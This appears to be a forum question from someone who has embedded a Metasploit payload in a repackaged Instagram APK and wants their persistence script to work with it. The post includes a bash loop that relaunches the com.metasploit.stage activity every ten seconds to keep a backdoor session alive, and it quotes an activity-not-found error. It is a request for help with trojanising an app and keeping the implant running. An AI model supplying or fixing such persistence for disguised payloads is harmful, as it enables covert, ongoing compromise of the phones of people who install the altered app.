How Can I Solve This?

So, I was testing Metasploit and Fatrat. I managed to embed a payload on an original apk (Insta apk).

I have a script for persistent payloads but it works only with payloads made with msfvenom.

So, how can i make it work on any apk?

This is the script

#!/bin/bash

while true

do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity

sleep 10

done

com.metasploit.stage I guess it is the process name and MainActivity the apk name

So if i follow the same rules and change com.metasploit.stage to com.instagram.android and MainActivity to Instagram, msf returns this code:

Error: Activity class {com.instagram.android/com.instagram.android.} does not exist.

What is the solution for this?